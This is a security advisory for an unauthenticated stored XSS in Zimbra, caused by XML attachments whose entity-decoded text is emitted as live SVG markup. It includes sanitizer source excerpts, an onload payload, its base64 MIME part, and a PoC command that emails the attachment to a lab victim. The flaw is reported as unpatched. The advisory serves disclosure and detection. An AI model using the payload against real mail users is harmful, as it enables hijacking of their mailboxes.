--- cve: CVE-2026-137836 cna: Rapid7 credit: Jonah Burgess (Rapid7) severity: "Critical (Rapid7)" cvss_v3_1: "9.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N" cwe: "CWE-116, CWE-79" affected_versions: "10.1.0 through 10.1.22" fixed_versions: "No confirmed fix" --- # CVE-2026-137836: Unauthenticated Stored XSS via XML Text-Content Entity Decode ## Summary An unauthenticated sender can execute JavaScript on the Zimbra origin by emailing a crafted XML attachment. Zimbra's SAX sanitizer decodes character references in text nodes and writes the resulting characters without XML escaping, so encoded text becomes active SVG markup in the sanitized response. ZCS 10.1.20 escapes XML attribute values, correcting the [earlier attribute-injection issue](ZIMBRA-SVGXSS.md), but retains this parallel text-node sink. An `application/xml` attachment is treated as scriptable and routed through `XHtmlDefang`, but is absent from the attachment types forced to `application/octet-stream`. ## Prerequisites and Scope The attacker needs normal email delivery to the target. The recipient must be authenticated to Zimbra and open the XML attachment inline. ## Technical Analysis ### SAX-decoded text is emitted as markup In 10.1.20, the relevant `characters()` callback in `XHtmlDocumentHandler.java` is: ```java @Override public void characters(char[] buf, int start, int len) throws SAXException { if (!this.removedElements.isEmpty()) { return; } this.textBuffer.append(new String(buf, start, len)); // [0] decoded text buffered } ``` At `[0]`, SAX has already decoded character references, so `textBuffer` can contain literal `<`, `>` and quote characters. `startElement()` later flushes that buffer before handling attributes: ```java try { if (this.textBuffer.length() > 0) { this.out.append(this.textBuffer); // [1] raw text flush this.textBuffer = new StringBuffer(); } // ... element and attribute allowlist handling omitted ... String rawValue = attrs.getValue(i); String escapedValue = XHtmlDocumentHandler.escapeAttributeValue(rawValue); // [2] attribute values escaped this.out.append(" "); this.out.append(aName + "=\"" + escapedValue + "\""); ``` At `[1]`, the decoded characters are emitted without escaping; `endElement()` contains the same raw flush. By contrast, `[2]` escapes attribute values, leaving the text-node sink unfixed in 10.1.20. ### The XML attachment route reaches the vulnerable sanitizer `NativeFormatter.java` contains this download branch: ```java } else if (DefangFactory.isDefangXmlContentType(shortContentType)) { // [3] forced-download media types contentType = "application/octet-stream"; ``` At `[3]`, only media types in `DEFANG_XML_CONTENT_TYPES` are forced to download. The default ZCS 10.1.20 set contains `application/xhtml+xml`, SVG and several `+xml` types, but not `application/xml`. The formatter's separate scriptable-type set is: ```java private static final Set SCRIPTABLE_CONTENT_TYPES = ImmutableSet.of((Object)"text/html", (Object)"application/xhtml+xml", (Object)"text/xml", (Object)"application/x-zimbra-doc", (Object)"application/x-zimbra-slides", (Object)"application/x-zimbra-xls", (Object[])new String[]{"image/svg+xml", "application/xml", "application/svg+xml"}); // [4] application/xml is scriptable ``` At `[4]`, `application/xml` is instead classified as scriptable. `DefangFactory.java` selects its sanitizer here: ```java if (contentTypeLowerCase.startsWith("text/xml") || contentTypeLowerCase.startsWith("application/xhtml+xml") || contentTypeLowerCase.startsWith("image/svg+xml") || contentTypeLowerCase.startsWith("application/xml") || DefangFactory.isDefangXmlContentType(contentType)) { return xhtmlDefang; // [5] XML sanitizer selected } ``` At `[5]`, `application/xml` is routed to `XHtmlDefang`. For the default inline disposition, `NativeFormatter` follows this branch: ```java } else if (disp.equals("inline") && NativeFormatter.isScriptableContent(contentType)) { contentType = Mime.getContentType(contentType).toLowerCase(); BrowserDefang defanger = DefangFactory.getDefanger(contentType); String content = defanger.defang(Mime.getTextReader(is, contentType, defaultCharset), true); resp.setContentType(contentType); String charset = Mime.getCharset(contentType); resp.setCharacterEncoding(Strings.isNullOrEmpty((String)charset) ? Charsets.UTF_8.name() : charset); if (!content.isEmpty()) { resp.setContentLength(content.getBytes().length); } resp.getWriter().write(content); // [6] sanitized XML served inline ``` This branch preserves the inline `application/xml` response, invokes the `XHtmlDefang` selected at `[5]`, and writes its output at `[6]`. Because `[1]` emitted the SAX-decoded text without escaping, the response contains active SVG markup that the recipient's browser parses on the authenticated Zimbra origin. ## Exploitation PoC: [xhtml_text_content_xss.py](../pocs/CVE-2026-137836/xhtml_text_content_xss.py). The attachment contains valid XML whose text node holds an entity-encoded SVG element: ```xml

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><rect width="1" height="1"/></svg>

``` The critical MIME part is: ``` Content-Type: application/xml MIME-Version: 1.0 Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="report.xml" PHA+Jmx0O3N2ZyB4bWxucz0mcXVvdDtodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyZxdW90OyBv bmxvYWQ9JnF1b3Q7YWxlcnQoZG9jdW1lbnQuZG9tYWluKSZxdW90OyZndDsmbHQ7cmVjdCB3aWR0 aD0mcXVvdDsxJnF1b3Q7IGhlaWdodD0mcXVvdDsxJnF1b3Q7LyZndDsmbHQ7L3N2ZyZndDs8L3A+ ``` The PoC constructs the XML content and MIME part shown above, then sends the message over unauthenticated SMTP: ```shell python3 pocs/CVE-2026-137836/xhtml_text_content_xss.py \ --smtp-host mail.lab.local \ --victim victim@lab.local \ --sender reports@attacker.example ``` The PoC output is: ``` [+] SMTP accepted XML attachment 'report.xml' for victim@lab.local [*] trigger: open the attachment through Zimbra's inline REST view ``` Opening `/service/home/~/?id=MSG_ID&part=2` produced: ``` HTTP/1.1 200 OK Content-Type: application/xml;charset=utf-8 Content-Length: 152

``` Opening the normally delivered attachment through its default inline URL executed the payload. The screenshots below use the filename `report.xhtml` from an earlier run; the current PoC defaults to `report.xml`. ![The delivered email contains the crafted report.xhtml attachment](../assets/CVE-2026-137836/xhtml-attachment-message.png) ![Opening the XHTML attachment executes JavaScript on mail.lab.local](../assets/CVE-2026-137836/xhtml-text-content-xss.png) The same text-node sink is also reachable through attacker-uploaded XML/XHTML content in Briefcase, where the attacker must have an ordinary account and make the document readable by the victim. ## Impact Opening the inline XML attachment executes the sender’s JavaScript on the authenticated Zimbra origin. The payload can read mailbox content and perform the SOAP operations available to the recipient. Where the separate delegation flaw is present, the [persistent-access chain](../chains/xss_to_persistent_mailbox_access.md) can retain that access after the browser session ends. This unauthenticated stored XSS scores [**9.3 Critical**](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N). ## Patch Status No fixed release has been established through ZCS 10.1.22. ## Indicators of Compromise (IoCs) The [XML attachment guide](../detections/mail_and_calendar.md#xml-attachments-and-rendered-metadata) provides a MIME inspector for stylesheet instructions and decoded markup, and identifies the original attachment and served response to preserve.